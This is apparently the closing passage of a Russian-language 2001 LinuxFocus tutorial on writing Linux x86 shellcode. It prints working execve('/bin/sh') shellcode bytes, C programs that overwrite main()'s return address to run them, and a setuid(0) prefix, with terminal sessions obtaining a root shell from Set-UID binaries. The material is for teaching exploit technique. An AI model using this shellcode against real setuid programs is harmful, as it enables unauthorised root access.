Чтобы обойти эту проблему, шеллкод должен быть помещен в область данных. Поместим его в массив, объявленный как глобальная переменная. Мы должны использовать еще одну хитрость, чтобы исполнить шеллкод. Заменим адрес возврата функции main(), расположенный в стеке, адресом массива, содержащего шеллкод. Не забывайте, что функция main - это "стандартная" процедура, вызываемая частями кода, добавленными компоновщиком. Адрес возврата перезаписывается при занесении адреса массива символов по адресу на два места ниже начального положения стека.

  /* shellcode5.c */

  char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;

      /* +2 представляет собой смещение на 2 слова */
      /* (т.е. 8 байт) от вершины стека: */
      /*   - первое, для зарезервированного слова
             локальной переменной */
      /*   - второе - для сохраненного регистра %ebp */

      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }

Теперь мы можем протестировать наш шеллкод:

$ cc shellcode5.c -o shellcode5
$ ./shellcode5
bash$ exit
$

Мы можем даже сделать программу shellcode5 Set-UID root и проверить, что оболочка, запущеная данными, содержащимися в этой программе, выполняется под root-ом :

$ su
Password:
# chown root.root shellcode5
# chmod +s shellcode5
# exit
$ ./shellcode5
bash# whoami
root
bash# exit
$

Обобщение и последние детали

Этот шелкод - вещь ограниченая (ну, это не так уж плохо для нескольких байт!). Например, если наша тестирующая программа имеет вид:

  /* shellcode5bis.c */

 char shellcode[] =
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }

$ su
Password:
# chown root.root shellcode5bis
# chmod +s shellcode5bis
# exit
$ ./shellcode5bis
bash# whoami
pappy
bash# exit
$

Код этой инструкции:

  char setuid[] =
         "\x31\xc0"       /* xorl %eax, %eax */
         "\x31\xdb"       /* xorl %ebx, %ebx */
         "\xb0\x17"       /* movb $0x17, %al */
         "\xcd\x80";

  /* shellcode6.c */

  char shellcode[] =
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }

$ su
Password:
# chown root.root shellcode6
# chmod +s shellcode6
# exit
$ ./shellcode6
bash# whoami
root
bash# exit
$

Подобные изменения предполагают, что вы сможете адаптировать значения нескольких байт в шеллкоде, в соответствии с их использованием:

Заключение

Мы написали программу длиной примерно 40 байт и можем запускать любую внешнюю команду как root. Наши последние примеры показывают некоторые идеи, как разрушить стек. Более подробно о данном механизме - в следующей статье...

Страница отзывов

2001-09-01, generated by lfparser version 2.17

mirror server hosted at Truenetwork, Russian Federation.